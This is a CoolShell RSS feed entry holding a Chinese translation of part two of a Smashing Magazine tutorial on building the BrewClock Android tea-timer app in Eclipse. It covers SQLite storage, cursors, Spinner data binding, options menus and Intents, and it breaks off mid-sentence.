+0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[Eclipse]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4334</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>翻译:赵锟 原文：http://www.smashingmagazine.com/2011/03/28/get-started-developing-for-a...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4334.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4334.html\">Eclipse开发Android应用程序入门:重装上阵</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>翻译:赵锟</strong><br />\n原文：<a href=\"http://www.smashingmagazine.com/2011/03/28/get-started-developing-for-android-with-eclipse-reloaded/\">http://www.smashingmagazine.com/2011/03/28/get-started-developing-for-android-with-eclipse-reloaded/</a></p>\n<p>在我们教程系列的<a href=\"https://coolshell.cn/articles/4270.html\">第一部分</a>中，我们使用Android和Eclipse开发了一个简单的饮茶计时器的应用程序。在第二部分，我们将继续开发这个程序，并给它增加一些其他的额外的功能。在开发的过程中，我们将给你介绍更多重要而强大的Android SDK特性，包括持久化数据存储，Activity和Intent，和共享用户首选项（译者注：类似于windows 的注册表的一种机制）。</p>\n<p>跟着本教程，你需要上一篇教程中的代码，如果你想直接使用代码，你可以使用如下的指令从<a href=\"http://github.com/cblunt/BrewClock\">GitHub</a>上check out出tutorial_par_1标记的代码：</p>\n<p><img decoding=\"async\" loading=\"lazy\" width=\"793\" height=\"564\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/1_starting_point_full.jpg\" alt=\"\" title=\"1_starting_point_full\"  class=\"aligncenter size-full wp-image-4362\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/1_starting_point_full.jpg 793w, https://coolshell.cn/wp-content/uploads/2011/04/1_starting_point_full-300x213.jpg 300w, https://coolshell.cn/wp-content/uploads/2011/04/1_starting_point_full-768x546.jpg 768w, https://coolshell.cn/wp-content/uploads/2011/04/1_starting_point_full-380x270.jpg 380w\" sizes=\"(max-width: 793px) 100vw, 793px\" /><br />\n[code]<br />\n$ git clone git://github.com/cblunt/BrewClock.git<br />\n$ cd BrewClock<br />\n$ git checkout tutorial_part_1<br />\n[/code]</p>\n<p>在GitHub中检出了代码后，你需要将代码倒入到Eclipse中的项目中：</p>\n<ol>\n<li>运行      Eclipse 选择 <em>File → Import…</em></li>\n<li>在导入窗口, 选择 <em>“Existing Projects into Workspace”</em>并点击<em> “Next.”</em></li>\n<li>在下一屏，点击 <em>“Browse,”</em>选择你从GitHub上clone出的代码目录。</li>\n<li>点击“Finish” 将项目导入到Eclipse中。</li>\n</ol>\n<p><span id=\"more-4334\"></span><br />\n在导入项目到Eclipse之后，你有可能会看到有如下的警告信息：<br />\n[code]<br />\nAndroid required .class compatibility set to 5.0.<br />\nPlease fix project properties.<br />\n[/code]<br />\n如果有这种情况，右键点击“Project Explorer ”中新导入的BrewClock项目，并选择 “Fix Project Properties,” 并重启Eclipse。</p>\n<h3>数据持久化入门</h3>\n<p>当前,BrewClock 让用户为他们泡的茶设置一个定时器。这个非常棒的一个工作，但是如果对于不同的茶使用同一个泡茶时间的结果会怎样呢，是不每种茶都应该有自己的一个泡茶时间呢？如果这样，那岂不是所有的用户都需要记下每一类茶所需要泡的时间！这不是一个很好的用户体验。因此，在这篇教程中，我将新增一个功能来为用户每种不同的茶叶存放一个泡茶时间，并当用户想泡茶的时候，可以从茶叶列表中进行选择。</p>\n<p>为了实现这个目的，我们得利用Android的丰富的数据持久化的API。Android提供了几种方式来存储数据，本文将要覆盖其中的两种方式。第一种，使用SQLite数据库引擎来为我们存储数据。</p>\n<p>SQLite 是一种流行的轻量级SQL数据库引擎，它将数据存在单个文件中。SQLite经常用于桌面或在那些运行不能运行客户端-服务器SQL引擎（例如MySQL或PostgreSQL)的嵌入式的应用上。</p>\n<p>每个安装在Android上的应用都可以保存和使用多个SQLite数据库文件（由数据存储容量决定），这些数据由系统自动地进行管理。应用程序的数据是私有并且不能被其他的应用程序所访问。（数据可以通过ContentProvider(译者注：内容提供者类)类进行共享，但是我们不会在本教程中覆盖关于内容提供者的内容）。当数据应用程序被更新时，数据库文件就进行持久化，当应用程序被删除时，数据库文家就被删除。</p>\n<p>我们在BrewClock应用使用SQLite数据来维护我们的茶叶列表和泡茶所需要的时间。下面是我们我们将使用的数据表的一个总体介绍。</p>\n<p>[code]<br />\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br />\n| Table: teas                         |<br />\n+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />\n| Column     | Description            |<br />\n+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />\n| _ID        | integer, autoincrement |<br />\n| name       | text, not null         |<br />\n| brew_time  | integer, not null      |<br />\n+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />\n[/code]</p>\n<p>如果以前你使用过SQL，你应该熟悉这些内容。数据表有三个字段，一个唯一标示（_ID），茶叶名称(name)和泡茶时间(brew_time)字段。我们将使用Android提供给我们的API在应用中建立数据表。系统将负责在正确的位置为我们的创建数据库文件。</p>\n<h4>抽象数据库</h4>\n<p>为了确保数据库的代码容易被维护，我们用一个单独的类TeaData来抽象所有处理数据库创建，插入，和查询的代码。如果你熟悉模型-试图-控制(译者注：MVC)方法的话，这个你也应该熟悉。所有数据库代码与我们的BrewClockActitvity类隔离开来。Actitvity可以初始化一个新的TeaData实例（这个实例将连接数据库）并完成它所需要的工作。以这种方式工作保证了我们可以方便的更改我们所使用的数据库而不用修改其他那些和数据库不相关部分的代码。</p>\n<p>通过菜单File → New → Class.在BrewClock项目中创建一个TeaData的新类。确保TeaData扩展于android.database.sqlite.SQLiteOpenHelper 类，并选中“Constructors from superclass”复选框。<br />\n<img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/2_create_teadata_class1.jpg\" alt=\"\" title=\"1_starting_point_full\"  class=\"aligncenter size-full wp-image-4362\" /></p>\n<p>TeaData 类将为你自动地处理SQLite数据库的创建和版本。我们需要增加一些方法来作为其他代码到数据库的接口。</p>\n<p>增加两个常量来存储数据库的名字和版本,增加表名和表中列名。我们使用Android提供的常类BaseColumns._ID来做为表的唯一id列：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\nimport android.app.Activity;\nimport android.content.ContentValues;\nimport android.content.Context;\nimport android.database.Cursor;\nimport android.database.DatabaseUtils;\nimport android.provider.BaseColumns;\n\npublic class TeaData extends SQLiteOpenHelper {\n  private static final String DATABASE_NAME = &quot;teas.db&quot;;\n  private static final int DATABASE_VERSION = 1;\n\n  public static final String TABLE_NAME = &quot;teas&quot;;\n\n  public static final String _ID = BaseColumns._ID;\n  public static final String NAME = &quot;name&quot;;\n  public static final String BREW_TIME = &quot;brew_time&quot;;\n\n  // …\n}\n</pre>\n<p>为TeaData增加一个构造方法，以数据库名称合版本号为参数调用其父类的构造方法。Android将会自动地打开数据库（如果数据库不存在就自动创建它）。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\npublic TeaData(Context context) {\n  super(context, DATABASE_NAME, null, DATABASE_VERSION);\n}\n</pre>\n<p>我们需要重载onCreate方法，并执行一个SQL 串执行创建数据库表的操作。Android将会在数据库文件第一次被创建时调用这个方法。</p>\n<p>在启动过程中，Android检查数据库的版本是否我们传入的版本一致。如果版本发生了改变，Android将会调用onUpgrade方法，在这个方法总，你可以编写修改数据库结构的业务逻辑。在本教程中，我们将让Android删除数据库并重建数据库。</p>\n<p>在onCreate和onUpgrade中增加如下的代码:</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\n@Override\npublic void onCreate(SQLiteDatabase db) {\n  // CREATE TABLE teas (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, brew_time INTEGER);\n  String sql =\n    &quot;CREATE TABLE &quot; + TABLE_NAME + &quot; (&quot;\n      + _ID + &quot; INTEGER PRIMARY KEY AUTOINCREMENT, &quot;\n      + NAME + &quot; TEXT NOT NULL, &quot;\n      + BREW_TIME + &quot; INTEGER&quot;\n      + &quot;);&quot;;\n\n  db.execSQL(sql);\n}\n\n@Override\npublic void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {\n  db.execSQL(&quot;DROP TABLE IF EXISTS &quot; + TABLE_NAME);\n  onCreate(db);\n}\n\n</pre>\n<p>下一步，我们需要新增代码让我们方便地在数据库中新增茶叶记录。我们新增一个带茶叶名称和泡茶时间的方法来负责插入记录。Android为了尽量避免开发者使用SQL语句，提供了一堆类来处理向数据库中查入记录。首先，我们创建一个ContentValues集合，并将相关的值插入到这个集合中去。</p>\n<p>对于ContentValues集合，我们只要简单地提供一个列名和值来插入就行了。Android负责创建和运行正确的SQL。使用Android的数据类确保了你能写出安全，跨平台的数据库操作代码。</p>\n<p>Add a new method, insert(), to the TeaData class:</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\npublic void insert(String name, int brewTime) {\n  SQLiteDatabase db = getWritableDatabase();\n\n  ContentValues values = new ContentValues();\n  values.put(NAME, name);\n  values.put(BREW_TIME, brewTime);\n\n  db.insertOrThrow(TABLE_NAME, null, values);\n}\n\n</pre>\n<h4>查询数据</h4>\n<p>我们应用程序具有了在数据库中保存数据的能力后，我们同样也需要一种方式将数据取回来。Android提供了游标Cursor接口来完成这件工作。一个游标代表了针对数据库运行一个SQL返回的结果集，游标在这个结果集中维护了一个指针来指向结果集中的一行。这个指针可以向前，向后移动，并返回每一列的值，下面我们用图形来帮助你理解游标:</p>\n<p>SQL 查询: SELECT * from teas LIMIT 3;<br />\n[code]<br />\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+</p>\n<p>|  _ID  |  name       |  brew_time  |</p>\n<p>+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+</p>\n<p>|    1  |  Earl Grey  |          3  |</p>\n<p>|    2  |  Green      |          1  | &lt;= Cursor</p>\n<p>|    3  |  Assam      |          5  |</p>\n<p>+&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;-+<br />\n[/code]</p>\n<p>在这个例子中，游标指向了结果集中的第二条记录（绿茶）。我们可以通过调用cursor.moveToPrevious()方法，将游标向前移动，让它指向第一行（Earl Grey），或者调用moveToNext向前移动指向Assam。要取到游标所指向记录的茶叶的名称，我们只要调用cursor.getString(1)，1代表我们向提取数据列的下标（注意下标识从0开始的，1代表第二列，依次类推）。</p>\n<p>在了解游标后，我们增加一个创建游标对象并返回数据库中所有的茶叶信息。在TeaData中增加all方法：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\npublic Cursor all(Activity activity) {\n  String[] from = { _ID, NAME, BREW_TIME };\n  String order = NAME;\n\n  SQLiteDatabase db = getReadableDatabase();\n  Cursor cursor = db.query(TABLE_NAME, from, null, null, null, null, order);\n  activity.startManagingCursor(cursor);\n\n  return cursor;\n}\n</pre>\n<p>因为这个方法乍一看有点古怪，所以让我们先来关心一下这个方法的一些细节。我们没有使用SQL的查询语句，而是使用了Android提供的数据库接口方法。</p>\n<p>第一，我们需要告诉Android，我们所关心的列的信息。我们创建了一个字符串数组，数组中存放这TeaData中列的标示信息。我们还设置了我名们期望的结果集按照哪一个列进行排序的列名。</p>\n<p>第二，我们使用getReadalbeDatabase()创建了一个到数据库的只读连接，并调用query方法告诉Android我们希望用query方法运行一个查询。query()方法有很多的参数，Android在内部将这些参数转化为一个查询语句。此外，Android的抽象层保证了即使底层数据储存机制发生了变化，我们的应用程序代码也能正确的工作。</p>\n<p>由于我们只要返回表中的所有记录，所以我们没有在方法中使用到链接join，过滤filter和分组group（例如：在SQL中的WHERE，JOIN，和GROUP BY）。from和order变量告诉查询数据库需要返回那些列和提取数据时按什么列进行排序。我们使用SQLiteDatabase.query()作为和数据库的人机交互接口。</p>\n<p>最后，我们让Activity（在本例中，我们的BrewClockActivity）来管理游标。通常，游标需要人工刷新内容，因此当我们增加一个新茶信息到数据库中时，我们就需要刷新我们的游标。每当我们的应用被挂起和恢复的时候，通过调用startManagingCursor()让Android来帮我们重建结果集。</p>\n<p>在TeaData类中增加count方法:</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\n  public long count() {\n    SQLiteDatabase db = getReadableDatabase();\n    return DatabaseUtils.queryNumEntries(db, TABLE_NAME);\n  }\n\n</pre>\n<p>保存TeaData类，使用修正没有import 的类(Source → Organize Imports)，在完成我们的数据类后，下一步我们将着手修改我们BrewClock的人机界面。</p>\n<h4>修改BrewClock用户界面，允许进行茶叶选择</h4>\n<p>持久化茶和泡茶的时间的目的是让用能快速的选择他们所钟爱的预设置的茶。为了完成这个功能，我们需要再BrewClock的主界面上增加一个Spinner（类似于桌面上弹出菜单），生成一个来自于TeaData的茶列表。</p>\n<p>和前面的教程一样，我们使用了Eclipse的布局器编辑器在BrewClock的主界面布局XML文件中增加Spinner。在LinearLayout元素下面增加下面这些代码（大约在24行）。如果你打开了可视化的布局编辑器后，你可以点击窗口下面的地&#8221;Code View&#8221;进行切换。</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;!-- /res/layout/main.xml --&gt;\n\n&lt;!-- Tea Selection --&gt;\n&lt;LinearLayout\n  android:orientation=&quot;vertical&quot;\n  android:layout_width=&quot;fill_parent&quot;\n  android:layout_height=&quot;wrap_content&quot;&gt;\n\n  &lt;Spinner\n    android:id=&quot;@+id/tea_spinner&quot;\n    android:layout_width=&quot;fill_parent&quot;\n    android:layout_height=&quot;wrap_content&quot; /&gt;\n\n&lt;/LinearLayout&gt;\n</pre>\n<p>在BrewClockActivity类里面,增加一个成员变量指向Spinner，通过使用findViewById连接界面上的控件：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\nprotected Spinner teaSpinner;\nprotected TeaData teaData;\n\n// …\n\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n  teaData = new TeaData(this);\n  teaSpinner = (Spinner) findViewById(R.id.tea_spinner);\n}\n</pre>\n<p>运行你的程序以确保新的界面正确地生效。你应该在泡茶计数器下看见一个空白的弹出式菜单（或者是Spinner)。如果点击spinner，Android将显示一个弹出式的菜单并为你提供选择列表。在这时，菜单的内容因该是空的，现在让我们来绑定Spinner和我们的茶叶数据库。</p>\n<p><img decoding=\"async\" loading=\"lazy\" width=\"500\" height=\"356\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/3_blank_spinner.jpg\" alt=\"\" title=\"3_blank_spinner\"  class=\"aligncenter size-full wp-image-4364\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/3_blank_spinner.jpg 500w, https://coolshell.cn/wp-content/uploads/2011/04/3_blank_spinner-300x213.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<h4>数据绑定</h4>\n<p>当Android从数据库中查询数据时，它将会返回一个游标Cursor对象。Cursor代表了来自数据库的结果集，并可以移动游标来提取结果中的数据。使用一类Android提供的称为“适配器Adapter”的类，我们很容易将这个结果集绑定到Spinner上。适配器完成了提取数据库结果集中的数据并在界面上显示这些数据等这些复杂而困难工作。</p>\n<p>在我们的TeaData.all()方法中已经可以返回一个带有tea表内容的游标，使用这个游标，我们所需要做的工作就是创建一个SimpleCursor适配器来绑定我们的teaSpinner，Android会负责处理将数据显示在spinner的列表中。</p>\n<p>通过创建一个SimpleCursorAdapter类来连接Spinner与teaData.all()返回的游标：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// com/example/brewclock/BrewClockActivity.java\n\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n  Cursor cursor = teaData.all(this);\n\n  SimpleCursorAdapter teaCursorAdapter = new SimpleCursorAdapter(\n    this,\n    android.R.layout.simple_spinner_item,\n    cursor,\n    new String[] { TeaData.NAME },\n    new int[] { android.R.id.text1 }\n  );\n\n  teaSpinner.setAdapter(teaCursorAdapter);\n  teaCursorAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);\n}\n\n</pre>\n<p>注意，我们使用了Android内建的android.R对象。这个对象提供了你的应用程序中的默认资源，例如视图和布局。在我们的代码中，我们使用了android.R.layout.simple_spinner_item，它是简单的文本标签布局。</p>\n<p>如果你再次运行的应用程序，你将会看到spinner中仍然是空的！虽然我们已经连接了我们的数据库，但是由于数据库中没有任何记录，所以我们任何看到了空列表。</p>\n<p>我们通过在构造方法中增加一些默认记录来让用户可以选择所需要的茶叶，为了避免重复记录，我们只有在数据库中记录为0的情况才增加默认记录。在本教程的代码中，我们使用前面增加的count()来检查数据库中表记录是否为空。</p>\n<p>增加当数据库中表为空的默认记录代码。把这些代码增加从数据库提取茶叶数据的前面（译者注：上一段的代码前）。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// com/example/brewclock/BrewClockActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n\n  // Add some default tea data! (Adjust to your preference :)\n  if(teaData.count() == 0) {\n    teaData.insert(&quot;Earl Grey&quot;, 3);\n    teaData.insert(&quot;Assam&quot;, 3);\n    teaData.insert(&quot;Jasmine Green&quot;, 1);\n    teaData.insert(&quot;Darjeeling&quot;, 2);\n  }\n\n  // Code from the previous step:\n  Cursor cursor = teaData.all(this);\n\n  // …\n}\n\n</pre>\n<p>现在再次运行你的应用程序。你将会发现茶叶Spinner有了一条选择。点击Spinner让你可以从数据库选择你要的茶叶。</p>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/4_populated_spinner.jpg\" alt=\"\" title=\"4_populated_spinner\" width=\"500\" height=\"356\" class=\"aligncenter size-full wp-image-4365\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/4_populated_spinner.jpg 500w, https://coolshell.cn/wp-content/uploads/2011/04/4_populated_spinner-300x213.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>恭喜你！你已经成功关联了你的界面和代码。这是任何软件开发过程中一个非常重要的方面。正如你所看见的，Android将这一步简化的非常容易，但是功能有是非常的NB。使用游标和适配器，你可以将数据源（丛简单的字符串数组到复杂的数据库查询）绑定到任何类型的视图：spinner或列表，设置是类似iTunes cover-flow gallery!</p>\n<p>虽然现在已经可以开始泡茶了，但是我们工作还远没有结束。当你从Spinner选择了不同的茶，这个选择却不会发生任何作用。我们需要根据用户所选茶叶的种类取更新我们的泡茶时间。</p>\n<h4>读取选中茶叶数据并更新泡茶时间</h4>\n<p>为了能读取用户从数据库中选择茶叶的数据，我们必须增加一个针对此事件的监听器。类似于处理按钮点击事件的OnClickListener监听器一样，我们将实现一个OnItemSelectedListener。当用户从视图中做出一个选择的事件将触发这个监听器，例如从我们的Spinner。</p>\n<p>在BrewClockActivity中增加需要实现的接口OnItemSelectedListener。并增加其响应的处理方法onItemSelected()和onNothingSelected()：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\npublic class BrewClockActivity extends Activity implements OnClickListener, OnItemSelectedListener {\n  // …\n  public void onItemSelected(AdapterView&lt;?&gt; spinner, View view, int position, long id) {\n    if(spinner == teaSpinner) {\n      // Update the brew time with the selected tea’s brewtime\n      Cursor cursor = (Cursor) spinner.getSelectedItem();\n      setBrewTime(cursor.getInt(2));\n    }\n  }\n\n  public void onNothingSelected(AdapterView&lt;?&gt; adapterView) {\n    // Do nothing\n  }\n}\n\n</pre>\n<p>在这里我们要检查是触发的spinner此事件是不是BrewClock的teaSpinner。如果是，我们将提取代表选中记录的游标对象。这些都是由关联teaData和Spinner的SimpleCursorAdapter来提供我们完成的。Android知道哪个查询产生的Spinner数据，也知道用户选择的哪个数据。Android使用游标来返回数据库的一行记录，也代表了用户所选择的茶叶数据。</p>\n<p>Cursor的getInt()方法带了一个我们想提取的列的下标为参数。在我们的teaData.all()方法中创建游标的时候，我们读取的列是_ID,NAME和BREW_TIME。假设我们在teaSpinner中选择的是Jasmine Tea，那么将返回我们所选数据所对应的数据库记录。</p>\n<p>然后我们再通过传递参数2来选择此记录的第二列的整型值。这个值提供给setBrewTime()方法。这个方法用于更新界面上的泡茶时间。</p>\n<p>最后，我们需要告诉teaSpinner BrewClockActivity正在监听OnItemSelected事件。在BrewClockActivity的onCreate方法中增加下面的代码：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\npublic void onCreate() {\n  // …\n  teaSpinner.setOnItemSelectedListener(this);\n}\n</pre>\n<p>大功告成！再次运行你的程序，并从Spinner选择不同的茶叶。每次你所选的茶叶它所对应的泡茶时间都回显示对应的界面上。我们余下的代码中已经可以处理从当前时间开始递减计数。所以在有预先设置的茶叶种类下，我们已经可以完成我们所想要的功能。</p>\n<p>你当然可以，回到之前的代码中去增加一些茶叶种类你满足你的口味。但是如果你发布BrewClock程序到Android Market，每当有人向增加新的茶叶数据到数据库中，我就需要去手动的取更新数据中的内容并重新发布它；这样所有的人就必须去更新它，并且所有的人都有一个同样的列表。这听起来非常的不灵活，因此我们还有很多的工作需要完成！</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/5_default_teas.jpg\" alt=\"\" title=\"3_blank_spinner\"  class=\"aligncenter size-full wp-image-4364\"/></p>\n<p>如果用户自己有方法新增茶叶种类到数据库里面，将会非常的不错的做法。因此我们将在下一章继续。。。</p>\n<h3>Activity 介绍</h3>\n<p>和你应用程序中每个屏幕关联的代码就是Activity。每次当你从一屏切换到另外一屏，Android就会创建一个新的Activity。在真实世界中，虽然一个应用程序经常由多个屏幕/Activity构成，Andriod却将每个屏幕看作独立的个体。多个Activity工作在一起形成一种关联的体验，这是因为Android让你非常容易地在屏幕/Activity之间传递数据。</p>\n<p>在本节最后，你将为你的应用程序新增一个新的Activity（AddTeaActivity）并将它注册到Android系统中。你还需要从最初的BrewClockActivity传递数据到新的Activity中。</p>\n<p>首先，我们需要给用户一种方式切换到新的Activity上。我们将使用选项菜单来完成之一步。</p>\n<h4>选项菜单</h4>\n<p>当用户他们的设备上的“Menu”按键时，选项菜单以弹出菜单的形式出现。Android负责菜单的自动创建和显示；你只需要告诉Android，菜单显示什么内容和当用户点击菜单时该做什么就行。</p>\n<p>然而,最好不要在代码中硬编码菜单的标题，我们可以使用Android的字符串资源。字符串资源是一个独立的文件，在这个文件中你可以维护所有用于用户阅读的字符串和标签资源，并可以在代码调用它们。这就意味着当你在未来需要修改字符串时，你只要修改这一处地方即可。.</p>\n<p>在project explorer中导航到“res/values”下，你将会看到string.xml文件已经存在。这个是你再创建新项目的时候由Eclipse创建的，这文件存放着在整个应用程序我们将要使用的字符串。</p>\n<p>双击打开<em>strings.xml</em> ,通过窗口底部的选项页切换到XML 视图。</p>\n<p>在&lt;resources&gt;…&lt;/resources&gt; 元素中增加下面的内容:</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n\n&lt;!-- res/values/strings.xml --&gt;\n  &lt;resources&gt;\n    &lt;!-- … --&gt;\n    &lt;string name=&quot;add_tea_label&quot;&gt;Add Tea&lt;/string&gt;\n  &lt;/resources&gt;\n\n\n</pre>\n<p>我们在这里定义了一个字符串，add_tea_label和它关联的文本，我们可以在整个程序代码中通过add_tea_label来使用其关联的文本。如果标签因为某个原因需要修改，我们只需要在这个文件修改这一个地方就能完成整个程序的修改。</p>\n<p>下一步，让我们创建一个新文件完成选项菜单的定义，如果字符串和布局一样，菜单也使用XML来定义。因此我们将在Eclipse中川建一个新的XML文件：</p>\n<p>通过选择File → New → Other, 并选择“Android XML File.”在Eclipse中创建一个新的XML文件。</p>\n<p>选择资源的类型为 “Menu”，保存文件名为main.xml。Eclipse将为你自动的创建一个目录<em>res/menu</em>, 来存放你的菜单文件。</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/7_new_menu_xml.jpg\"></img></p>\n<p>打开<em>res/menus/main.xml</em> 文件, 通过窗口底部的“main.xml”选项页来切换到XML视图。</p>\n<p>增加菜单项， add_tea。</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;!-- res/values/strings.xml --&gt;\n  &lt;resources&gt;\n    &lt;!-- … --&gt;\n    &lt;string name=&quot;add_tea_label&quot;&gt;Add Tea&lt;/string&gt;\n  &lt;/resources&gt;\n</pre>\n<p>注意android:title 属性被设置为@string/add_tea_label。这告诉Android在我们的strings.xml文件中查找add_tea_label并返回相关联的标签内容。在本列中我们的菜单项的标签时“Add Tea”。</p>\n<p>下一步，我们将告诉我们的Activity，当用户点击设备上的“memu”按键时来显示这个选项菜单。</p>\n<p>返回<em>BrewClockActivity.java</em>代码, 重载onCreateOptionsMenu 方法,这个方法告诉Android 当用户点击“Menu”按键时，装载我们的菜单：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\n@Override\npublic boolean onCreateOptionsMenu(Menu menu) {\n  MenuInflater inflater = getMenuInflater();\n  inflater.inflate(R.menu.main, menu);\n\n  return true;\n}\n\n</pre>\n<p>当用户点击他设备上的“Menu”按键时，Android将调用onCreateOptionsMenu。在这个方法中，我们创建了一个MenuInflater, 这个对象将从你的应用程序包中装载你的菜单资源。就如同按钮和文本域组成你的应用程序布局一样，main.xml资源也是通过全局对象R来生效的，因此我们将此对象提交给MenuInflater对象。</p>\n<p>为了测试菜单，保存并在模拟器中并运行应用程序。当程序运行起来使，点击“Menu”按键，你将会看到一个弹出式的菜单显示了一个“Add Tea”选项。</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/8_add_teas_options_menu.jpg\"></img></p>\n<p>如果你点击“Add Tea”选项，Android自动地检测到点击并关闭菜单。在后台，Android将会提醒应用程序选项已经被点击。</p>\n<h4>处理菜单点击</h4>\n<p>当用户点击 “Add Tea” 菜单选项，我们想要显示一个新的Activity以便我们能进入增加新茶叶种类的界面。通过选择File → New → Class来创建一个的Activiy。</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/9_new_activity_settings.jpg\"></img></p>\n<p>将新类命名为 AddTeaActivity,并确保它继承于android.app.Activity类。这个类也放在com.example.brewclock包中:</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npackage com.example.brewclock;\n\nimport android.app.Activity;\nimport android.os.Bundle;\n\npublic class AddTeaActivity extends Activity {\n  @Override\n  public void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n  }\n}\n\n</pre>\n<p>上面样例中的空白Activity将不会完成任何工作。但是通过它，我们已经可以完成选项菜单的功能。</p>\n<p>在BrewClockActivity增加一个重载方法onOptionsItemSelected 。当用户点击菜单项时，这个方法被Android调用。 (注意点击的MenuItem为它的接收参数：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\n@Override\npublic boolean onOptionsItemSelected(MenuItem item) {\n  switch(item.getItemId()) {\n    case R.id.add_tea:\n      Intent intent = new Intent(this, AddTeaActivity.class);\n      startActivity(intent);\n      return true;\n\n    default:\n      return super.onOptionsItemSelected(item);\n  }\n}\n\n\n</pre>\n<p>通过上面的代码，我们告诉Android，当“Add Tea”被点击的时候，我们将要创建一个的Activity；在本教程中，就是AddTeaActivity。然而，不要直接创建这个类的实例，注意我们使用了Intent。Intent有着Android框架的强大特性；他们将Activity绑定在一起来组成应用程序，并允许在他们之间相互传递数据。</p>\n<p>Intent的优点甚至让你的应用程序可以使用用户安装的其他的应用程序。例如，当用户要从图库里面显示一张图片，Android自动地给显一个对话框来让用户选择应用程序来显示图片。任何注册为可以处理图片显示的应用程序都会出现在这个对话框的列表中。</p>\n<p>Intent功能强大而复杂的主体, 因此它值得你从官方的文档<a href=\"http://developer.android.com/guide/topics/intents/intents-filters.html\">official Android SDK documentation</a>中仔细研究。</p>\n<p>让我们运行我们的应用程序，以测试我们的“Add Tea”屏幕。</p>\n<p>运行你的项目，按下Menu按键，并点击 “Add Tea.”。</p>\n<p>不如你预期的，你并没有看到 “Add Tea” Activity，出现在你面前的是一个Android开发者经常看到的对话框：</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/10_crash.jpg\"></img></p>\n<p>虽然我们创建了一个Intent并告诉Android启动我们的AddTeaActivity Activity, 